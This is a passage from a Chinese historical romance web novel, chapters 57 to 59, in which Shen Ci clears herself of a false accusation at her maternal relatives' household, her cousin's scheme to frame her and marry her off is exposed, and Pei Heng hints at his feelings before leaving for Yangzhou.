“去见一见二舅母。”沈瓷冷静开口,若避无可避,她为何要那么被动,被冤枉的人是她,她当然要找人替自己做主。 故而,等楚秋灵哭诉完,母女俩商量好对策去找裴氏的时候,沈瓷已经在了,她眼眶红红的,显然是哭过了一场,见到楚大夫人和楚秋灵过来,下意识的不敢说话。 楚大夫人母女俩有些愣神。 裴氏皱起眉头看过去,“大嫂,你今儿个怎么有空过来?” “我原是有一些事要同弟妹说,倒不知阿瓷也在。”楚大夫人看着沈瓷,有些摸不准沈瓷因为什么原因在此,便想着静观其变。 沈瓷见到楚大夫人,恭恭敬敬的站起来行礼,楚大夫人摆了摆手,沈瓷站在了裴氏的身后,裴氏舍不得外甥女站着,便让她坐下。 “既然大舅母有事,那阿瓷就先告退。”沈瓷并未要找借口留下,走的更是毫不留恋。 裴氏也没强留,只是温柔的叮嘱她好好休息,沈瓷也应下了。 待沈瓷离开之后,裴氏才收回视线,不冷不热的问道,“大嫂可有什么事?” “倒是没什么事,就是想着映梦快要成亲,想来问一问弟妹,可有什么需要我帮忙的地方。”楚大夫人并没有想提及沈瓷的事,但楚秋灵根本看不明白,一直拉着母亲的衣袖。 “阿娘…”楚秋灵看着母亲,楚大夫人只当做不知道。 裴氏看着母女俩的眉眼官司,心中宛如明镜。 “秋灵可有话要说?” 楚秋灵自幼被楚大夫人惯坏,要星星不给月亮的,她想要做到的事情,恨不得今日就能有个结果,之所以前些日子能那么忍气吞声,是因为还没给沈瓷找到个“好婆家”,如今有了眉目,她当然会去找沈瓷对峙。 但楚秋灵最擅长自作聪明,打草惊蛇不说,对着楚大夫人也没说实话。 只说在七星寺的时候见着了沈瓷和一外男私会。 压根没提自己已经去找过沈瓷,还被沈瓷威胁了一番。 此番见裴氏这么问,也没想忍住,把和母亲商量好的话说了出来,“婶娘,我前些日子见着阿瓷和一外男私会,心中有所不安,也不知阿瓷是不是被人给骗了…” 裴氏就听见母女俩一唱一和的,将一个泼天罪名扣到沈瓷的头上。 若非裴氏早先一步知晓此事,只怕当真要误会,裴氏懒得多听,便随口敷衍,“有这回事?近日事多,待有机会我找阿瓷好好的问一问。” 裴氏摆明了敷衍,楚大夫人心中有数,裴氏是要包庇沈瓷,她虽然不太乐意蹚浑水,但做戏总是要做全套的。 便又劝了几句,“弟妹,这事儿可大可小,可万万不能让阿瓷走上歪路…”楚大夫人字字句句都是为了沈瓷着想,但一字一句都带着恶意。 楚秋灵更是迫不及待,惹得裴氏很是反感。 她一味的绕圈子,母女俩听得清楚明白,楚秋灵若是平时还能忍一忍,可她刚刚在沈瓷面前吃了亏,这会儿更是迫不及待的想要找回场子,竟口不择言起来,“婶娘是要包庇阿瓷吗?” 楚秋灵此话一出,楚大夫人都被唬了一跳,裴氏这般态度明白这就是要包庇,但这话如何好明晃晃的说出来? “长辈说话,哪有你插嘴的份?”裴氏冷冷开口,对楚秋灵更是没有半分好脸色,“大嫂平素就是这么教导孩子的?” 楚大夫人半晌没说话,她自知理亏,但也舍不得孩子被训斥,尤其是被弟妹训斥。 原本楚大夫人也想将这件事情揭过,可谁让裴兰清戳中了她心中最在意的事情,“秋灵说的倒也没错,事关女子名节,本就马虎不得。” 这是一定要将沈瓷喊来对峙的意思。 裴氏厌烦这对母女多事,语气更不好,“大嫂,这件事只怕是误会。” 楚大夫人心里毛毛躁躁的,她对沈瓷其实并没有太多的在意,那毕竟只是个外甥女,只是她见不惯裴兰清这幅模样,好似这世上唯有她能教导好孩子一般。 这事儿不知不觉就变了味,最终闹到了楚老夫人的面前。 楚老夫人还以为是出了什么大事,听完之后眼神犀利的看向楚秋灵,“可是你亲眼所见?” “回祖母的话,的确是我亲眼所见。”楚秋灵的声音有些迫不及待,全然没有瞧见祖母眼中的不赞同,楚大夫人倒是看的清楚,可事已至此,她也只当看不见。 楚老夫人让身边的嬷嬷去找沈瓷,而沈瓷在离开舅母的院子之后,便让秋叶去找了表姐和思怡。 沈瓷很快就来到了福寿堂。 她看着一屋子的人,心里早有准备,所以在外祖母询问的时候,没有太多的慌张,“那日我和表姐还有思怡连同两个表哥一起去了七星寺。” “胡说,你明明是去私会外男的。”楚秋灵说的笃定,沈瓷却一脸的疑惑。 “大表姐为何要污蔑我?” “我哪里污蔑你了?你明明在七星寺的后院见到了别人,你们还说了好一会儿的话。” 楚秋灵说的有理有据,沈瓷脸上却露出了茫然的表情,像是终于弄明白楚秋灵在说什么,“那…” 沈瓷没什么掩饰,在场的几个人都看的清清楚楚的,楚老夫人只是语气温和的问沈瓷是不是想起了什么。 “祖母,大表姐也许有什么误会,那人…是裴世子。”沈瓷的声音很轻,但屋子里的所有人都能够听清楚她说话。 裴世子三个字一出,楚大夫人很快明白过来是谁,楚秋灵脑子还没转过弯来,压根就没想明白这裴世子是什么人,她隐隐约约觉得自己忽略了什么,但楚秋灵根本不是会乖乖服软的性子,接二连三的亮出自己的底牌,“我明明看见他给了你一块玉佩。” 楚秋灵的声音很尖锐,沈瓷倒是一脸的平静。 说真话和说假话的反应并不一样,楚秋灵没有那么聪明,她若是反反复复的纠缠,沈瓷也不能保证自己会不会露馅。 “玉佩?”楚老夫人皱起眉头,问沈瓷可有这么一回事? 所有人都看着沈瓷,包括裴氏也是一样,可因为沈瓷先前已经同她提及楚秋灵去找过她的事情,裴氏的反应并没有太意外。 但她对玉佩也是不知情的。 只是瞧着沈瓷这一脸平静的模样,想来是没什么要紧的。 “那不过是一块普通的玉佩。”沈瓷的反应太过平淡,并没有隐瞒玉佩的存在,也没表现出什么特别的。 可楚秋灵根本不相信,非要她把那块玉佩拿出来看。 “大表姐依旧不信吗?”沈瓷的声音有些无奈,惹得楚老夫人很是心疼,刚要开口说话,便听见沈瓷说那块玉佩还在她房里,“大表姐若是信不过,就同冬竹一块儿去取。” 楚秋灵气恼的看着她,沈瓷若说自己去 取,她肯定反驳,只是她话还没说出口就被沈瓷堵的严严实实的,这会儿心里头很不舒坦,她当然不会自己去,就让丫鬟跟着冬竹一块儿去。 玉佩特殊,楚秋灵并不觉得自己会看错。 但沈瓷的脸上却没有一点的慌乱,这让楚大夫人很是疑惑,开始担心起来。 二人的丫鬟匆匆离去,又匆匆归来。 只是身后还跟着楚映梦和楚思怡。 楚秋灵皱起眉头,但没有搭理两人,但楚思怡却没有那么好脾气,“你好端端的冤枉表姐做什么?” 楚思怡和楚秋灵本来就有旧怨,如今新仇旧恨加在一起,也难怪楚思怡会忍不住。 “什么冤枉?我才没冤枉她。”楚秋灵拒不承认,眼看两人要吵起来,楚映梦立刻将人拉住,冲着妹妹摇了摇头。 示意楚思怡静观其变。 秋叶先前匆匆的来找她们,带来了消息,她们急忙回府却还是晚了一步,碰上了去取玉佩的冬竹,姐妹俩便跟着一块儿来了。 这里如今是什么情况她们都不大清楚,贸贸然说话没什么好处。 冬竹很快就将玉佩取了过来,沈瓷接过之后甚至都没有打开,直接递了过去。 楚老夫人亲自打开的盒子,里头躺着一块晶莹剔透的玉佩,她将玉佩拿起来看了看,发现不过是一块普通的玉佩,只是水头不错,“可是这块玉佩?” 楚秋灵当日距离很远,她其实并没怎么看清楚,可玉佩山的穗子她是看的一清二楚的,但沈瓷脸上的模样实在是太淡定,让楚秋灵忍不住的怀疑。 “好像…是…” “大表姐可看清楚了,这就是一块普通的玉佩。”沈瓷垂眸解释,“那日遇见,裴世子便提前给了我。” 沈瓷说完也觉得这事儿太过暧昧又补充了一句,“裴世子先前也送过不少首饰给我们。” 她告诉在场众人,玉佩和首饰并无区别,有她的,自然也有表姐和思怡的,首饰都是过了明路的,府上的管事都知晓。 楚映梦和楚思怡听到这儿也弄明白是怎么一回事。 明明沈瓷已经说的那么清楚,偏偏楚秋灵怎么都不愿意信,今日非要将这罪名摁到她的头上,“若是你和他没有私情,他好端端的为何要送你玉佩?” 这话实在是太无理取闹,楚思怡忍了又忍,实在是忍不住,“楚秋灵,你是不是脑子不好?” “玉佩怎么了?我和姐姐也有玉佩,你难道要说我们俩和表哥也有私情吗?” 楚思怡的脾气并不比楚秋灵冷静,甚至咋呼的比她后还要厉害。 楚秋灵抬起头看着她们俩。 只见楚映梦和楚思怡两人拿出了一模一样的玉佩。 递到了她的面前,让她自己看个清楚。 临了,楚映梦还很贴心的建议道,“若大姐姐还觉得有问题,不如找我们表哥来对峙?问问他为何要送我们玉佩。” 第57章 第57章是多此一举,还是早有准备?…… 裴珩送楚映梦和楚思怡玉佩,自然是为了掩人耳目,毕竟他送给沈瓷的玉佩实在是太过特殊,让他不得不谨慎。 谁让他们能见面的地方不过那么几个。 将玉佩送给沈瓷之后,他就把另外两块给了两个表妹,沈瓷手中的那一块,是和首饰一起放在夹层里带给她的。 所以,在楚映梦和楚思怡看来,便是裴珩亲自送她们几块玉佩,先遇上了沈瓷,就先给了他。 先前也不是没有发生过,所以她们都没有怀疑。 “楚秋灵,说起来你是怎么会知道的?”楚思怡还记得自己那日一直都和表姐在一起,不过是离开了一会儿,“你跟踪我们呢?” 楚秋灵涨红了脸,她看着怼到自己面前的玉佩,又听着楚思怡说的话,早就已经傻了。 事情真相大白,不过是一场误会。 但沈瓷确确实实受了委屈,楚老夫人让楚秋灵道歉。 楚秋灵握着那块玉佩,盯得眼珠子都快要瞪出来也还是没看出所以然来,最终只能不情不愿的道歉,说是自己误会了她。 没有半点的诚意。 沈瓷其实并不想搭理楚秋灵,但众目睽睽之下,她也不好表现的太过计较,可按着沈瓷对楚秋灵的了解,往后的日子只怕是不会太平。 今日吃了那么大一个亏,往后指不定要怎么找她的麻烦。 楚老夫人让众人散了,留了沈瓷说了会儿话,沈瓷乖乖巧巧的,问什么,答什么,她记得自己说过的所有话,无论怎么翻来覆去的用别的话来表述,都不会有问题。 沈瓷垂着眼眸,不知在想些什么,可这幅神情落在楚老夫人的眼中,就觉得是沈瓷受了委屈,于是对大儿媳妇的厌恶更深。 等到沈瓷离开之后,楚老夫人便又让人去将楚胜找来训斥了一通。 沈瓷离开福寿堂,发现表姐和思怡都在等着自己,她们俩只关心沈瓷好不好,而后毫不客气的开始数落楚秋灵。 因为这件事她们之间怕是再也没有和好的可能。 沈瓷知晓她们俩担心,便将在福寿堂说过的话又重复了一回,谎话说过太多回,很多事情也就成了真,沈瓷都恍恍惚惚觉得自己说的都是实话。 只是回到住处,路过假山石,她才会想起那下头还被她埋了东西。 今日当真是精疲力尽。 她今天可以蒙混过关,纯粹是因为楚秋灵太蠢,诚然没有楚秋灵事情也不会变成这样,毕竟那日七星寺闭寺,原本不会有人出现。 只是沈瓷还是觉得头疼。 她躺在床上看着手中那块玉佩,因为也是裴珩送的,她有些烦躁的将玉佩扔在了一边。 这天晚上沈瓷睡得并不安稳,满心都是惶恐,若是被发现了会怎么样。 翌日一早,沈瓷只觉得疲惫不堪。 这件事情根本就瞒不住,楚胜同楚大夫人吵了起来,连同楚秋灵一起教训了一顿,楚胜平素公务繁忙,也根本没有花什么时间在教养子女上,楚秋灵自然是不服气的,还同楚胜顶嘴。 被楚胜罚去跪了祠堂。 楚修筠原本去劝过,却也被骂骂咧咧的楚秋灵给赶走了,她压根不觉得自己有什么错,只恨沈瓷没有真的和人私相授受。 有时候沈瓷也不太清楚楚秋灵那直白的恶意到底是怎么来的。 楚秋灵跪了几日祠堂,倒是将什么脾气都给跪没了,安分守己了几日,可沈瓷没有松懈,也没打算将土里的东西挖出来。 裴珩不知从哪里得来了消息,又送了她不少的东西,还带给了她一个消息,楚胜的旧部要来金陵了。 沈瓷想起楚秋灵和自己叫嚣时候说过的话,她开始沉思起来,她没法去想象裴珩为什么告诉自己这个消息,是让她防范吗?还是她可以利用这个做些什么? 沈瓷想到这里的时候,脸上的神情变得很奇怪,怎么就有了这样的想法? 良久之后,她暗暗的告诉自己,她好好的防备着楚秋灵就好。 只是沈瓷没有害人之心,楚秋灵却半点都不愿意让她好过,竟偷偷的潜伏到她的院子里开始埋东西… 沈瓷没有将计就计要嫁祸楚秋灵的意思,当场就将她给抓住,带到了楚老夫人的面前。 沈瓷不知道里头埋了什么,也没有要打开,直接交给了外祖母,这天晚上福寿堂灯火通明,楚秋灵跪在地上满脸的不服气。 楚老夫人打开那东西,里头是一封封书信,上头写了不少的话,楚老夫人看完脸色黑沉如水,质问楚秋灵这些东西是哪里来的。 楚秋灵不说话,但上头都是旁人的字迹,事情究竟如何尚不清楚,但楚老夫人却都楚秋灵失望至极,“你是要嫁祸阿瓷?为何要这般做?” “谁让她一直那么讨人厌?”楚秋灵对沈瓷的恶意很大,其实沈瓷并不知道自己有什么地方得罪过她。 总之等她明白过来的时候,事情就已经变成这般。 “明明大家都不是在一 起长大的,她也不是?为何你们都只喜欢她?“楚秋灵眼看事情败露,索性也就不去隐瞒,当着所有人的面说个痛快。 “还有哥哥,明明我才是他的亲妹妹,为什么他做什么都不向着我?不仅要我去给楚思怡道歉,还要我去给沈瓷道歉。” “为什么他不向着我?” 楚秋灵哭得不能自己,她的话许多人都不理解,尤其是楚映梦和楚思怡,她们看着楚秋灵,就宛如再看一个傻子一般。 全然不知她是怎么说出那么可笑的话来。 “做错了事,当然要道歉。”楚思怡皱着眉头看向楚秋灵,不乐意她那么污蔑哥哥,“而且,大哥也不是只向着我啊,我和姐姐吵架,大哥也要求我去道歉。” 她们哥哥,一直都是一视同仁 楚老夫人没说话,只是看向大儿媳妇,“这件事你可知情?” 楚大夫人一直以来只知道楚秋灵不喜欢沈瓷,但根本不知道楚秋灵还会做栽赃嫁祸这样的事,“母亲,此事儿媳全然不知…” “你在边城就是这么教孩子的?” 这句话就像是扎进楚大夫人心里的一根刺,她看着裴氏看着站在她身边的那些孩子们,又看了看自己,还有身边的楚秋灵。 她有那么多的孩子在身边,自己只有楚秋灵一个,她多疼爱一些,又有什么错? 楚大夫人看向裴氏的眼神很奇怪,有羡慕也有嫉妒。 同为人母,裴氏很明白她在想什么,可裴氏明白归明白,却半点都理解不了,毕竟家里孩子多,她当真没什么闲工夫去想一些有的没的。 “从今日开始,你不要再接触秋灵。”楚老夫人让楚秋灵住在自己的院子里,由她亲自来教,至于楚大夫人,楚老夫人便让她好好的反省。 母女俩被迫分开,楚大夫人自然不愿意,开始据理力争,怎么都不要和孩子分开。 楚老夫人烦不胜烦,让楚胜将人带走,顺道连楚胜一起责骂,“养不教,父之过。” 孩子会变成今日这般,他们夫妻俩都有责任。 楚胜自然不敢反驳。 楚老夫人以为楚秋灵在沈瓷院子里埋东西是为了嫁祸,但沈瓷隐隐的猜测到并非如此,几日之后楚胜的旧部上门来提亲了,因为是楚大夫人帮着牵线搭桥。 而后母女俩算得上合谋,才造成今日这般局面。 对方当真以为是老上峰授意的。能走到金陵自然也知道沈瓷的身份,知晓沈瓷父母双亡是个可怜孤女,将她娶回去虽然断绝了不少的可能,但忠毅伯府的人脉算是保住了。 楚大夫人不过写了两封信,对方就给予了回应,原本楚恒打的也是这样的主意,只不过被裴氏否决。 如今人找上门来,裴氏压着火气接待了人,得知来龙去脉之后,头一回觉得这一家团圆也没什么必要。 裴氏将人周旋住,又去找了婆母。 短短几日,福寿堂的灯火又亮了一整夜,楚老夫人一直都觉得楚秋灵性子不好是因为楚大夫人不会教,如今却不不确定起来。 楚老夫人看着楚胜,干脆利落的问他要怎么解决。 “母亲…这…”楚胜简直焦头烂额,这事情一波接着一波,他实在是头疼的不行。 “那旧部家在扬州…其实也是个不错的地方。”楚大夫人的希望是将错就错,楚胜没说话,但他骨子里不喜麻烦,对沈瓷也没太多的感情。 从他沉默的态度中可以窥见一二,他是倾向妻子的想法的。 只是楚恒没说出来。 “不行,我不同意。”楚恒毫不犹豫的反驳,“扬州那么远,若是阿瓷被人欺负可怎么办?” 楚恒和楚胜不同,大哥十几年在任上,笼统只见过沈瓷几回,没有感情并不意外,但他不一样,那是他妹妹唯一的骨血,是他亲自从平江带回来的孩子。 是他和妻子看着她慢慢长大的。 他还记得沈瓷当时跪在灵堂之上的模样,同那个甜甜的喊自己舅舅的孩子没有任何相似的地方。 楚恒每看见一次,都觉得自己当日去晚了。 诚然他去的再早也改变不了妹妹和妹夫遇难的事实。 “小叔,夫君那旧部仪表堂堂,家境殷实,在扬州也是有头有脸的人家…” 楚恒懒得听,若是平时也不会和大嫂争执,但他这会儿明白,大嫂此番代表的是大哥,“说的那么好,怎么不让你自己的孩子去?” 楚恒轻嗤一声,“秋灵不也到了要成亲的年龄?这个不也正好?既然是大哥的旧部,那对待侄女总是上心的。” 第58章 第58章“如今我们也算是有了共同的…… 福寿堂里的气氛很不好,甚至于开始剑拔弩张起来,楚恒不满大嫂和侄女惹出的这些事,不仅如此还很不满老大的不作为。 自己的妻女惹出的事,他竟然想着将错就错? 阿瓷又何其无辜? “不成,秋灵不能嫁去扬州。”楚大夫人原本还能道貌岸然的说两句,可一旦涉及到楚秋灵,她就尖锐许多。 “扬州山高路远,秋灵嫁过去没有父母在身边,被人欺负了怎么办?” “那阿瓷呢?同样的事儿落在阿瓷身上就可以?落在你女儿身上就不成?”裴氏冷声开口,“大嫂,你倒是打得一手好算盘。” “既是大哥的旧部,秋灵嫁过去也正合适,也不用担心孩子会被欺负。” 但楚大夫人就宛如要被抢走孩子的母兽一般,“不行,我不同意。” “至于沈瓷…她原本就不在金陵,现在不过是恢复到之前,若二弟和弟妹觉得扬州不好,也可以将她嫁回平江。”楚大夫人开始口不口不择言,若非她还有一些理智,大抵就要说出沈瓷原本就没了父母,嫁去哪里都一样。 这么多年楚大夫人陪在楚胜的身边,在边城说一不二的,回了金陵之后早已经忘记还要谨言慎行。 “阿瓷的婚事哪里轮得到你来做主?”裴氏心里厌恶极了,也顾不得面前的人是不是自己的大嫂。 “这件事分明是你们母女俩惹出来的麻烦,休想让阿瓷去嫁。” “你先前同那户人家说了什么,最好原原本本的说清楚,要是外头传出了什么风言风语的,我定不会就这么罢休。” 裴氏很少说这么重的话,楚恒原本满脸不悦,这会儿忙不迭的安抚着妻子,“你放心,放心,那是我从平江接回来的孩子,我们俩将她抚养长大,旁人可做不得主。” 楚恒的这番话看似在安抚妻子,实则是在告诉所有人,这件事他们两口子不同意。 莫要来劝说。 楚大夫人还想说什么,楚恒一概不听,直说起沈瓷当日有多么的惨,“大哥,小妹和妹夫走的那年,阿瓷才不过十二岁。” 懵懵懂懂的年纪,却要一夕之间面对变故。 楚胜没说话,只是心中也有自己的考量。 那旧部家境的确不错,他也的确想要拉拢,但是远远不到他需要嫁亲生女的地步,虽然做法有些无情,但对沈瓷而言的确是个好去处。 楚胜原本想要将错就错,可瞧着父母和二弟弟妹均是不赞同,楚胜也不想和家里人起冲突。 “既如此,不若从族内选一个适龄的女子,瞧着有无结亲的意愿。”楚胜最终给出了解决法子。 都说皇帝也有三门穷亲戚,楚家的亲戚自然不全是有权有势的。 族中多有旁支落寞。 这也不失为一个好法子。 “这怎么成?临了换人只怕那边会不允。”楚大夫人不愧是楚秋灵的母亲,两人的想法都是一模一样,只想将沈瓷嫁出去。 裴兰清本就厌恶她们母女二人惹出的麻烦,如今老大给了解决法子,虽不算多好,可到底是能解决,她本想着息事宁人,谁知这人竟这般不要脸。 “这也不行那也不行,你就让楚秋灵去嫁,谁惹出来的事情谁去解决。” “不成,你这般护着沈瓷,怎么不嫁你自己的女儿?”楚大夫人口不择言,“映梦不行,思怡也 不成吗?” 裴氏忍无可忍的甩了楚大夫人一巴掌,“闭嘴。” “你知不知道自己在说什么?” “裴兰清,你居然敢打我?我是你大嫂!” 妯娌二人吵了起来,楚大夫人这话越说越离谱,竟扯到了楚映梦和楚思怡的身上,裴氏自然是忍不得。 楚大夫人就要扑过来和裴氏撕扯,被楚胜一把抓住,“行了,闭嘴!” 楚胜连连呵斥住妻子,方才发生的事情已经让他觉得面上无光,若是放任妻子和弟妹撕扯,那就真的成了笑话。 “丢人现眼。”楚胜暗暗骂道,呵斥妻子不需多话。 “弟妹这脾气只怕是要改一改。”楚胜轻嗤一声。 楚恒立刻就挡在妻子面前冷静反驳道:“大哥说的哪里话?若非大嫂口不择言,兰清怎会失态?” “何况这本就是大嫂惹出的祸事,胡乱攀扯算什么?” 楚胜皱起眉头刚要反驳,就被楚老夫人打断,“行了,吵吵嚷嚷的,像什么样子?” 楚胜和楚恒均不说话,楚老夫人看着大儿媳妇,语气平淡,“若当真觉得楚家旁支不合适,便由秋灵出嫁。” 楚老夫人已经开口,楚大夫人自然不敢多话,跪在地上求婆母开恩。 老夫人挥了挥手便让楚胜将人带走。 从福寿堂离开之后,裴氏的脸色一直不好看,楚恒快速走了两步才将人给追上,“夫人,你可等一等我。” 偏偏裴氏堵着一口气,越走越快,楚恒一直到了卧房才堪堪将人追上。 “夫人,这惹你生气又不是我,怎么非要跟我生气?”楚恒心中也郁闷不已。 “这究竟是那蠢妇的意思,还是老大的意思?”裴氏也不跟丈夫兜圈子,直接开门见山的问。 “同大哥应当没有关系,他最怕麻烦,不会去管这些闲事。”楚恒了解兄长,这件事只怕是大嫂瞒着大哥偷偷去办的。 阿瓷住在家中又碍不着大哥什么事儿。 “大哥关心的从来都是仕途,即便自己的女儿都不上心,何况是外甥女。”楚恒无奈开口,若是孩子养在大哥大嫂膝下,这事儿说不定就让她给办成了,无论是将错就错,还是换个人去嫁,对于楚胜而言并没有太大关系。 “总之不成。”裴氏恼怒不已。 “当然不成,你没听母亲说不让他们乱来,阿瓷的婚事我们当然要好好的合计。”楚恒立刻安抚妻子。 “那蠢妇真是可恶。”裴氏想起沈瓷心里就一阵阵的难受。 “她刚来金陵的时候,见谁都是小心翼翼的,这些年好不容易才活泼了些,若是被这蠢妇给害了…我有什么脸面去见妹妹?” “是是,夫人说的我都明白。”楚恒一味的安抚着妻子,裴氏好不容易冷静下来,却又想起了楚修筠来,“修筠的亲事也要尽快定下,可不能被这蠢妇给祸害,我得去求求婆母。” 楚恒见妻子这般很想告诉她,修筠的亲事不会被这么随意的对待,实则裴氏心里也清楚,不过谁养大的孩子谁自己心疼,关心则乱罢了。 “他们这一家子,好端端的为何要回来?”裴氏心烦不已,“本以为老大一家回来,能让修筠高兴些,谁知这一家子见天的惹麻烦。” 楚恒想劝又不敢劝的,生怕到时候妻子连自己也一起迁怒。 最终这件事还是由楚家老大出面解决,选中的是楚家的一个旁支庶女,那姑娘在家中过得并不好,故而此事落到她的头上,无疑于天上掉馅饼,楚胜的旧部原本就不想和忠毅伯府断了关系,此番也算是楚家欠了他一个人情。 算得上是圆满解决。 这件事辗转被裴珩得知,依裴珩看,最好的法子当然是楚秋灵自己嫁过去,但人选不是她这也不是什么让人意外的事情。 儿女联姻是最大的利益结合,楚胜自不会这么轻易的将楚秋灵嫁出去,若不然楚秋灵先前也不会退亲。 “楚胜可有选好联姻的人选?”裴珩冷静问道。 长鸣说了几个人家,“这些都和楚胜有不少接触,家中也有适龄的儿郎,楚胜的心里应该是有想法的。” 裴珩点了点头,开始仔细的盘算起来,楚秋灵的婚事当然不会那么匆匆定下,但她的年纪也不小了,若是再拖下去事情也会很不利。 想来就在这几家之中。 但这几乎人家都在金陵… 裴珩拢了拢衣袖,淡声道:“承宁伯世子也尚未娶亲,想来楚胜会很满意承宁伯的家世。” 长鸣立刻答应下来。 楚秋灵是怎样一个人裴珩半点都没兴趣知晓,自然也没盼着她能够改过自新幡然悔悟,最好的法子自然是让她嫁的远远的,推波助澜,煽风点火这事儿,裴珩早已经做得炉火纯青。 为了能顺利促成亲事,裴珩还特意去找了舅舅一趟,同舅舅说起时,便说是为了表弟能安心些,裴珩的舅父知晓裴珩和表弟关系极好,都是姻亲,倒也乐得做顺水人情。 楚胜原本就有意要给楚秋灵定亲,只是一直犹豫不决,待价而沽。 如今承宁伯府主动伸出橄榄枝,他自是要好好的把握,楚秋灵的婚事很快就定下。 两家也算是门当户对。 承宁伯世子对于娶妻生子原本也没有什么憧憬和期待,不过是家中父母安排。 楚秋灵满心的戾气,成日里想着的就是怎么找沈瓷的麻烦,对于这门亲事,她倒是满意的很,想的也很简单,承宁伯府家世显赫,日后等她成家了,有的是时间和机会来找沈瓷的麻烦。 对此楚映梦和楚思怡都挺无奈的,按照她们的想法,楚秋灵才应该嫁到扬州去。 沈瓷倒是不怎么意外,楚秋灵不是她,她是忠毅伯府的嫡女,即便再蛮横骄纵,大舅舅和大舅母也不会真正的放弃她。 血缘关系有时候没有那么重要,有的时候却很重要。 楚秋灵被拘在家中不能外出,也没法子接触沈瓷,沈瓷倒是终于轻松了些,只是她依旧隔几日就能收到裴珩送的首饰,里头照例有一封书信。 沈瓷依旧没打开看,本是想着直接埋起来,但这时不时的要挖开院子里的土,沈瓷都担心按照这架势,她的院子迟早会被挖空。 于是她便将书信攒成一摞,再放到匣子里埋起来。 转眼就到了楚映梦出嫁的日子,这样热闹的日子,沈瓷和楚思怡却很忙碌,她们想要楚映梦的婚礼可以顺顺利利完成,起的竟比喜娘还早一些。 这样的场合,沈瓷自然不可避免的遇上裴珩。 她碰上裴珩的时候总是忍不住的想躲,但裴珩却不给她这个机会,“沈姑娘,我要去前厅,可否劳烦带路?” 沈瓷看了眼裴珩,心说又不是头一回来,就不能自己去吗? 他这般装模作样,沈瓷心中也很是无奈,“裴世子,请。” 二人走在一处,空了一个身位的距离,裴珩走的不快,沈瓷也不好走得太快,只能慢慢的走着。 “圣旨已下,十日后,我便会前往扬州治理水患。”裴珩轻声开口,沈瓷听见后脚步微微一顿,这件事她其实是知晓的。 只是没想到那么快。 “祝愿裴世子前程似锦。”沈瓷冷静开口,裴珩倒也不失望,沈瓷的态度都是他意料之中的事情。 “承宁伯世子在成亲之后就会去军中历练,归期不定。” “什么?”沈瓷有些疑惑,才新婚就要去军中历练吗? “承宁伯世子,凌云壮志。”裴珩淡淡开口,更多的却没有说,承宁伯世子一心想要建功立业,并不会花多少心思在儿女情长之上,何况这亲事不过是承宁伯世子和父母之间的约定,他娶妻生子,不至于让家里绝后,父母不拦着他去军中历练。 此事若被楚秋灵知晓,按照按照她的性子,根本不能接受。 承宁伯夫人唯有一子,婚后楚秋灵总是要跟着丈夫一起离开的。 三年五载不在金陵,总能清净一些。 这也是他能为沈瓷做的为数不多的事,金陵有这么一个麻烦在,他总是不能安心。 “此 事还需保密。“裴珩语气稍稍的轻快了些,看着沈瓷的背影浅浅的勾了勾唇,“如今我们也算是有了共同的秘密。” “什么?”沈瓷有些莫名其妙,这说的是什么话?什么叫做有了共同的秘密了? 不是他自己非要说的吗? 她什么都没有问。 哪有强买强卖的? “我离京那日,你可会来送我?”裴珩问的认真,沈瓷却犹豫着要怎么回答。 若裴珩去扬州,表姐和表哥她们肯定会去送的,她也肯定会去,但被他这么问出来…事情就变得不一样起来。 沈瓷知道,他在等她的回答。 “若是没想好,便过几日给我答复。”裴珩看着沈瓷,终究硬不起心肠。 “或是什么时候想好了,便什么时候告诉我。” 只要她愿意说,他什么时候都愿意听。 第59章 第59章去扬州,会途经平江。…… 纵然裴珩说的再怎么真诚,沈瓷也没法回应什么,只当做什么都没听明白,一味的让裴珩走快些。 裴珩:“……” 他揉了揉额头,刚要说话,就有丫鬟急匆匆的来寻沈瓷,“表姑娘,秦姑娘到了,二夫人让您去一趟。” 秦月的父亲升迁至金陵后,愈发得到陛下器重,如今已是工部侍郎,裴氏知道沈瓷和秦月相识之后,便往秦府送了帖子,有意想要她们多多接触。 这会儿工部侍郎携家眷一同来参加喜宴,秦大人去了男宾席,裴氏便让丫鬟过来寻沈瓷陪她一同接待秦月母女。 “好,我马上过来。”沈瓷打发丫鬟先离开,而后向裴珩道了声告辞,便大大方方的离开,裴珩瞧着沈瓷那迫不及待的背影,无奈的笑了起来。 真真是一点儿也不掩饰了。 沈瓷老远她就瞧见秦月和她的母亲,走上前行礼,“明夫人。” 明夫人微微颔首,看着沈瓷时露出了一个温婉的笑容。 “明夫人,秦姑娘,这边请。”沈瓷领着母女俩落了座,陪着寒暄了几句,秦家母女虽对金陵的贵妇们并不怎么熟悉,但也没有人敢怠慢她们,不多时就有不少人在边上陪着说话。 沈瓷见状便悄悄隐匿在一旁。 想着能不能找个机会溜走。 秦月和母亲待在一块很是头疼,她不太喜欢金陵的姑娘们,瞥见沈瓷的动作就将他的想法猜了个七七八八,便和母亲撒娇说想去看看新娘子。 明夫人浅浅笑了起来,“那你可千万不要捣乱。” 秦月连连应好,得了母亲首肯之后就走来沈瓷的身边,大大方方道:“我想去见一见新娘。” 沈瓷没拒绝,领着秦月去见了表姐。 一路上秦月倒也是端庄,可一旦到了没人的地方她就有些忍不住,“沈瓷,你表姐的婚礼办的好隆重啊。” “比我们之前在平江看见的更隆重。” 秦月一边走一边感慨,沈瓷也没有反驳,任由她自说自话。 平江虽然繁华,但到底比不上金陵,世家底蕴总是不一样些。 “日后你成亲,也会这般隆重的。”沈瓷笑着开口,原本秦月是不怎么当回事的,可今日瞧见这般隆重的婚礼,心头有了些不一样的想法。 尤其是最近母亲已经开始给她相看人家,秦月便有感而发,好奇的问眼前的人,“沈瓷,你有想过以后要嫁给怎样的人吗?” “没有。”沈瓷干脆利落的回答,她从前尚且年幼,成日里想的不是漂亮首饰就是漂亮衣裳,当年那个未婚夫也是父母说好,她就答应下来。 韩嵩她倒是有过期待,也曾想过未来,可谁知事情竟成了这般。 如今… 沈瓷想起院子里埋着的那块烫手山芋,只觉得前路一片渺茫。 嫁给怎样的人?她如何能知晓? “啊?”秦月抬眸看她,总觉得沈瓷在欺骗自己,“你便是要搪塞也找个好点的理由么。” 沈瓷无奈的停下脚步,“你觉得我在骗你?” 秦月没说话,但从她的眼神当中,沈瓷也能够看明白。 “你我从小就相识,虽然一直不对付,但骗你这事儿,我可从未做过。”沈瓷先前和秦月争执,那都是明明白白的放到明面上的。 二人吵过也打过。 但从未使过阴损手段。 秦月想了想也的确如此,“我来金陵那么久,可还是不习惯,如今想一想还是觉得平江更好。” 